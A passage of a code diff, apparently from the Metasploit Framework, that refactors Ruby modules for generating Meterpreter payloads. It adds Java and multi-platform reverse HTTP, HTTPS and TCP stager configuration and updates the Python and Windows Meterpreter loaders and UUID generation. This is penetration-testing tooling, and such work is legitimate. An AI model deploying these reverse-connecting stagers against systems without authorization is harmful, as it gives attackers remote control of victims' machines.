|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override the Payload::Java version so we can load a prebuilt jar to be
|
||||||
|
# used as the final stage; calls super to get the intermediate stager.
|
||||||
|
#
|
||||||
|
def stage_meterpreter(opts={})
|
||||||
|
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
|
||||||
|
config = generate_config(opts)
|
||||||
|
|
||||||
|
# All of the dependencies to create a jar loader, followed by the length
|
||||||
|
# of the jar and the jar itself, then the config
|
||||||
|
blocks = [
|
||||||
|
generate_default_stage(opts),
|
||||||
|
[met.length, met].pack('NA*'),
|
||||||
|
[config.length, config].pack('NA*')
|
||||||
|
]
|
||||||
|
|
||||||
|
# Deliberate off by 1 here. The call to super adds a null terminator
|
||||||
|
# so we would add 1 for the null terminate and remove one for the call
|
||||||
|
# to super.
|
||||||
|
block_count = blocks.length + stage_class_files.length
|
||||||
|
|
||||||
|
# Pack all the magic together
|
||||||
|
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_config(opts={})
|
||||||
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
|
||||||
|
# create the configuration block, which for staged connections is really simple.
|
||||||
|
config_opts = {
|
||||||
|
ascii_str: true,
|
||||||
|
arch: opts[:uuid].arch,
|
||||||
|
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||||
|
uuid: opts[:uuid],
|
||||||
|
transports: opts[:transport_config] || [transport_config(opts)]
|
||||||
|
}
|
||||||
|
|
||||||
|
# create the configuration instance based off the parameters
|
||||||
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||||
|
|
||||||
|
# return the binary version of it
|
||||||
|
config.to_b
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_class_files
|
||||||
|
# Order matters. Classes can only reference classes that have already
|
||||||
|
# been sent. The last .class must implement Stage, i.e. have a start()
|
||||||
|
# method.
|
||||||
|
#
|
||||||
|
# The Meterpreter.class stage is just a jar loader, not really anything
|
||||||
|
# to do with meterpreter specifically. This payload should eventually
|
||||||
|
# be replaced with an actual meterpreter stage so we don't have to send
|
||||||
|
# a second jar.
|
||||||
|
[
|
||||||
|
[ "javapayload", "stage", "Stage.class" ],
|
||||||
|
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
|
||||||
|
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
|
||||||
|
# Must be last!
|
||||||
|
[ "javapayload", "stage", "Meterpreter.class" ],
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Java that speaks HTTP(S)
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Java::ReverseHttp
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register Java reverse_http specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
register_advanced_options([
|
||||||
|
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
|
||||||
|
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_http(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the URI for the initial stager
|
||||||
|
#
|
||||||
|
def generate_uri(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
uri_req_len = ds['StagerURILength'].to_i
|
||||||
|
|
||||||
|
# Choose a random URI length between 30 and 255 bytes
|
||||||
|
if uri_req_len == 0
|
||||||
|
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||||
|
end
|
||||||
|
|
||||||
|
if uri_req_len < 5
|
||||||
|
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||||
|
end
|
||||||
|
|
||||||
|
generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate configuration that is to be included in the stager.
|
||||||
|
#
|
||||||
|
def stager_config(opts={})
|
||||||
|
uri = generate_uri(opts)
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
|
||||||
|
c = ''
|
||||||
|
c << "Spawn=#{ds["Spawn"] || 2}\n"
|
||||||
|
c << "URL=#{scheme}://#{ds['LHOST']}"
|
||||||
|
c << ":#{ds['LPORT']}" if ds['LPORT']
|
||||||
|
c << luri
|
||||||
|
c << uri
|
||||||
|
c << "\n"
|
||||||
|
|
||||||
|
c
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Scheme defaults to http
|
||||||
|
#
|
||||||
|
def scheme
|
||||||
|
'http'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||||
|
#
|
||||||
|
def wfs_delay
|
||||||
|
20
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,41 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/java/reverse_http'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Java that speaks HTTPS
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Java::ReverseHttps
|
||||||
|
|
||||||
|
include Msf::Payload::Java::ReverseHttp
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_https(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override the scheme so that it has https instead of http
|
||||||
|
#
|
||||||
|
def scheme
|
||||||
|
'https'
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override class_files to include the trust manager
|
||||||
|
#
|
||||||
|
def class_files
|
||||||
|
[
|
||||||
|
["metasploit", "PayloadTrustManager.class"]
|
||||||
|
]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for Java that speaks TCP
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Java::ReverseTcp
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Java
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register Java reverse_http specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
register_advanced_options([
|
||||||
|
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
|
||||||
|
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_tcp(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def include_send_uuid
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate configuration that is to be included in the stager.
|
||||||
|
#
|
||||||
|
def stager_config(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
spawn = ds["Spawn"] || 2
|
||||||
|
c = ""
|
||||||
|
c << "Spawn=#{spawn}\n"
|
||||||
|
pass = ds["AESPassword"] || ''
|
||||||
|
if pass != ""
|
||||||
|
c << "AESPassword=#{pass}\n"
|
||||||
|
end
|
||||||
|
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||||
|
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||||
|
|
||||||
|
c
|
||||||
|
end
|
||||||
|
|
||||||
|
def class_files
|
||||||
|
# TODO: we should handle opts in class_files as well
|
||||||
|
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
|
||||||
|
[
|
||||||
|
["metasploit", "AESEncryption.class"],
|
||||||
|
]
|
||||||
|
else
|
||||||
|
[]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,50 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
#
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Msf::Payload::Multi
|
||||||
|
|
||||||
|
# TOOD: require the appropriate stuff!
|
||||||
|
#require 'msf/core/payload/windows/dllinject'
|
||||||
|
#require 'msf/core/payload/windows/exec'
|
||||||
|
#require 'msf/core/payload/windows/loadlibrary'
|
||||||
|
#require 'msf/core/payload/windows/meterpreter_loader'
|
||||||
|
#require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||||
|
#require 'msf/core/payload/windows/reflectivedllinject'
|
||||||
|
#require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||||
|
|
||||||
|
# TODO: figure out what to do here
|
||||||
|
def apply_prepends(raw)
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: figure out what to do here
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Multi-Platform Meterpreter Payload',
|
||||||
|
'Description' => 'Detect and generate the appropriate payload based on platform/arch',
|
||||||
|
'Author' => ['OJ Reeves'],
|
||||||
|
'Platform' => ['multi'],
|
||||||
|
'Arch' => ARCH_ALL,
|
||||||
|
'Stage' => {'Payload' => ''},
|
||||||
|
'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: figure out what to do here
|
||||||
|
def replace_var(raw, name, offset, pack)
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
# TODO: figure out what to do here
|
||||||
|
def handle_intermediate_stage(conn, payload)
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/uuid/options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for arch-agnostic HTTP.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Multi::ReverseHttp
|
||||||
|
|
||||||
|
include Msf::Payload::UUID::Options
|
||||||
|
include Msf::Payload::Multi
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register reverse_http specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
register_advanced_options([
|
||||||
|
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||||
|
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||||
|
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||||
|
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||||
|
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||||
|
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||||
|
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the first stage
|
||||||
|
#
|
||||||
|
def generate(opts={})
|
||||||
|
# Not such thing as a first stage for multi/reverse_http
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_http(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||||
|
#
|
||||||
|
def stage_over_connection?
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||||
|
#
|
||||||
|
def wfs_delay
|
||||||
|
20
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,30 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/multi/reverse_http'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex payload generation for arch-agnostic HTTP.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Multi::ReverseHttps
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Multi::ReverseHttp
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the transport-specific configuration
|
||||||
|
#
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_https(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -14,6 +14,7 @@ module Msf
|
||||||
|
|
||||||
module Payload::Python::MeterpreterLoader
|
module Payload::Python::MeterpreterLoader
|
||||||
|
|
||||||
|
include Msf::Payload::Python
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::UUID::Options
|
||||||
include Msf::Sessions::MeterpreterOptions
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
|
||||||
|
@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def stage_payload(opts={})
|
||||||
|
stage_meterpreter(opts)
|
||||||
|
end
|
||||||
|
|
||||||
# Get the raw Python Meterpreter stage and patch in values based on the
|
# Get the raw Python Meterpreter stage and patch in values based on the
|
||||||
# configuration
|
# configuration
|
||||||
#
|
#
|
||||||
|
@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader
|
||||||
# HTTP(S) transports.
|
# HTTP(S) transports.
|
||||||
# @option opts [String] :http_proxy_port The port to use when a proxy host is
|
# @option opts [String] :http_proxy_port The port to use when a proxy host is
|
||||||
# set for HTTP(S) transports.
|
# set for HTTP(S) transports.
|
||||||
# @option opts [String] :http_url The HTTP(S) URL to patch in to
|
# @option opts [String] :url The HTTP(S) URL to patch in to
|
||||||
# allow use of the stage as a stageless payload.
|
# allow use of the stage as a stageless payload.
|
||||||
# @option opts [String] :http_user_agent The value to use for the User-Agent
|
# @option opts [String] :http_user_agent The value to use for the User-Agent
|
||||||
# header for HTTP(S) transports.
|
# header for HTTP(S) transports.
|
||||||
|
@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader
|
||||||
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
||||||
# this stage.
|
# this stage.
|
||||||
def stage_meterpreter(opts={})
|
def stage_meterpreter(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
||||||
|
|
||||||
var_escape = lambda { |txt|
|
var_escape = lambda { |txt|
|
||||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||||
}
|
}
|
||||||
|
|
||||||
if datastore['PythonMeterpreterDebug']
|
if ds['PythonMeterpreterDebug']
|
||||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||||
end
|
end
|
||||||
|
|
||||||
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
|
||||||
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
|
||||||
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
|
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
|
||||||
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
|
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")
|
||||||
|
|
||||||
uuid = opts[:uuid] || generate_payload_uuid
|
uuid = opts[:uuid] || generate_payload_uuid
|
||||||
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
||||||
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
||||||
|
|
||||||
# patch in the stageless http(s) connection url
|
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
|
||||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
|
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
|
||||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
|
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
|
||||||
|
|
||||||
if opts[:http_proxy_host].to_s != ''
|
# patch in the stageless http(s) connection url
|
||||||
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
|
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
|
||||||
|
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
||||||
|
|
||||||
|
if http_proxy_host.to_s != ''
|
||||||
|
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate(opts={})
|
def generate(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
opts.merge!({
|
opts.merge!({
|
||||||
host: datastore['LHOST'] || '127.127.127.127',
|
host: ds['LHOST'] || '127.127.127.127',
|
||||||
port: datastore['LPORT'],
|
port: ds['LPORT'],
|
||||||
proxy_host: datastore['PayloadProxyHost'],
|
proxy_host: ds['PayloadProxyHost'],
|
||||||
proxy_port: datastore['PayloadProxyPort'],
|
proxy_port: ds['PayloadProxyPort'],
|
||||||
user_agent: datastore['MeterpreterUserAgent']
|
user_agent: ds['MeterpreterUserAgent']
|
||||||
})
|
})
|
||||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||||
|
|
||||||
|
|
|
@ -89,7 +89,10 @@ module Msf::Payload::Stager
|
||||||
#
|
#
|
||||||
# @return [String,nil]
|
# @return [String,nil]
|
||||||
def stage_payload(opts = {})
|
def stage_payload(opts = {})
|
||||||
return module_info['Stage']['Payload']
|
if module_info['Stage']
|
||||||
|
return module_info['Stage']['Payload']
|
||||||
|
end
|
||||||
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -97,7 +100,10 @@ module Msf::Payload::Stager
|
||||||
#
|
#
|
||||||
# @return [String]
|
# @return [String]
|
||||||
def stage_assembly
|
def stage_assembly
|
||||||
return module_info['Stage']['Assembly']
|
if module_info['Stage']
|
||||||
|
return module_info['Stage']['Assembly']
|
||||||
|
end
|
||||||
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -108,7 +114,10 @@ module Msf::Payload::Stager
|
||||||
#
|
#
|
||||||
# @return [Hash]
|
# @return [Hash]
|
||||||
def stage_offsets
|
def stage_offsets
|
||||||
return module_info['Stage']['Offsets']
|
if module_info['Stage']
|
||||||
|
return module_info['Stage']['Offsets']
|
||||||
|
end
|
||||||
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -108,7 +108,7 @@ class Msf::Payload::UUID
|
||||||
puid = seed_to_puid(opts[:seed])
|
puid = seed_to_puid(opts[:seed])
|
||||||
end
|
end
|
||||||
|
|
||||||
puid ||= Rex::Text.rand_text(8)
|
puid ||= SecureRandom.random_bytes(8)
|
||||||
|
|
||||||
if puid.length != 8
|
if puid.length != 8
|
||||||
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
|
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
|
||||||
|
@ -256,7 +256,7 @@ class Msf::Payload::UUID
|
||||||
end
|
end
|
||||||
|
|
||||||
# Generate some sensible defaults
|
# Generate some sensible defaults
|
||||||
self.puid ||= Rex::Text.rand_text(8)
|
self.puid ||= SecureRandom.random_bytes(8)
|
||||||
self.xor1 ||= rand(256)
|
self.xor1 ||= rand(256)
|
||||||
self.xor2 ||= rand(256)
|
self.xor2 ||= rand(256)
|
||||||
self.timestamp ||= Time.now.utc.to_i
|
self.timestamp ||= Time.now.utc.to_i
|
||||||
|
|
|
@ -2,6 +2,7 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/reflective_dll_loader'
|
require 'msf/core/reflective_dll_loader'
|
||||||
|
require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
def stage_meterpreter(stageless=false)
|
def stage_payload(opts={})
|
||||||
|
stage_meterpreter(opts) + generate_config(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_config(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
opts[:uuid] ||= generate_payload_uuid
|
||||||
|
|
||||||
|
# create the configuration block, which for staged connections is really simple.
|
||||||
|
config_opts = {
|
||||||
|
arch: opts[:uuid].arch,
|
||||||
|
exitfunk: ds['EXITFUNC'],
|
||||||
|
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||||
|
uuid: opts[:uuid],
|
||||||
|
transports: opts[:transport_config] || [transport_config(opts)],
|
||||||
|
extensions: []
|
||||||
|
}
|
||||||
|
|
||||||
|
# create the configuration instance based off the parameters
|
||||||
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||||
|
|
||||||
|
# return the binary version of it
|
||||||
|
config.to_b
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_meterpreter(opts={})
|
||||||
# Exceptions will be thrown by the mixin if there are issues.
|
# Exceptions will be thrown by the mixin if there are issues.
|
||||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||||
|
|
||||||
asm_opts = {
|
asm_opts = {
|
||||||
rdi_offset: offset,
|
rdi_offset: offset,
|
||||||
length: dll.length,
|
length: dll.length,
|
||||||
stageless: stageless
|
stageless: opts[:stageless] == true
|
||||||
}
|
}
|
||||||
|
|
||||||
asm = asm_invoke_metsrv(asm_opts)
|
asm = asm_invoke_metsrv(asm_opts)
|
||||||
|
|
|
@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate(opts={})
|
def generate(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
conf = {
|
conf = {
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: datastore['LHOST'],
|
host: ds['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: ds['LPORT'],
|
||||||
retry_count: datastore['StagerRetryCount']
|
retry_count: ds['StagerRetryCount']
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:url] = luri + generate_uri
|
conf[:url] = luri + generate_uri(opts)
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
conf[:ua] = ds['MeterpreterUserAgent']
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
conf[:proxy_type] = ds['PayloadProxyType']
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:url] = luri + generate_small_uri
|
conf[:url] = luri + generate_small_uri
|
||||||
|
@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp
|
||||||
#
|
#
|
||||||
# Generate the URI for the initial stager
|
# Generate the URI for the initial stager
|
||||||
#
|
#
|
||||||
def generate_uri
|
def generate_uri(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
uri_req_len = datastore['StagerURILength'].to_i
|
uri_req_len = ds['StagerURILength'].to_i
|
||||||
|
|
||||||
# Choose a random URI length between 30 and 255 bytes
|
# Choose a random URI length between 30 and 255 bytes
|
||||||
if uri_req_len == 0
|
if uri_req_len == 0
|
||||||
|
|
|
@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps
|
||||||
#
|
#
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate
|
def generate(opts={})
|
||||||
super(ssl: true)
|
opts[:ssl] = true
|
||||||
|
super(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
|
||||||
#
|
#
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate
|
def generate(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
conf = {
|
conf = {
|
||||||
port: datastore['LPORT'],
|
port: ds['LPORT'],
|
||||||
host: datastore['LHOST'],
|
host: ds['LHOST'],
|
||||||
retry_count: datastore['ReverseConnectRetries'],
|
retry_count: ds['ReverseConnectRetries'],
|
||||||
reliable: false
|
reliable: false
|
||||||
}
|
}
|
||||||
|
|
||||||
# Generate the advanced stager if we have space
|
# Generate the advanced stager if we have space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:reliable] = true
|
conf[:reliable] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -2,10 +2,10 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/reflective_dll_loader'
|
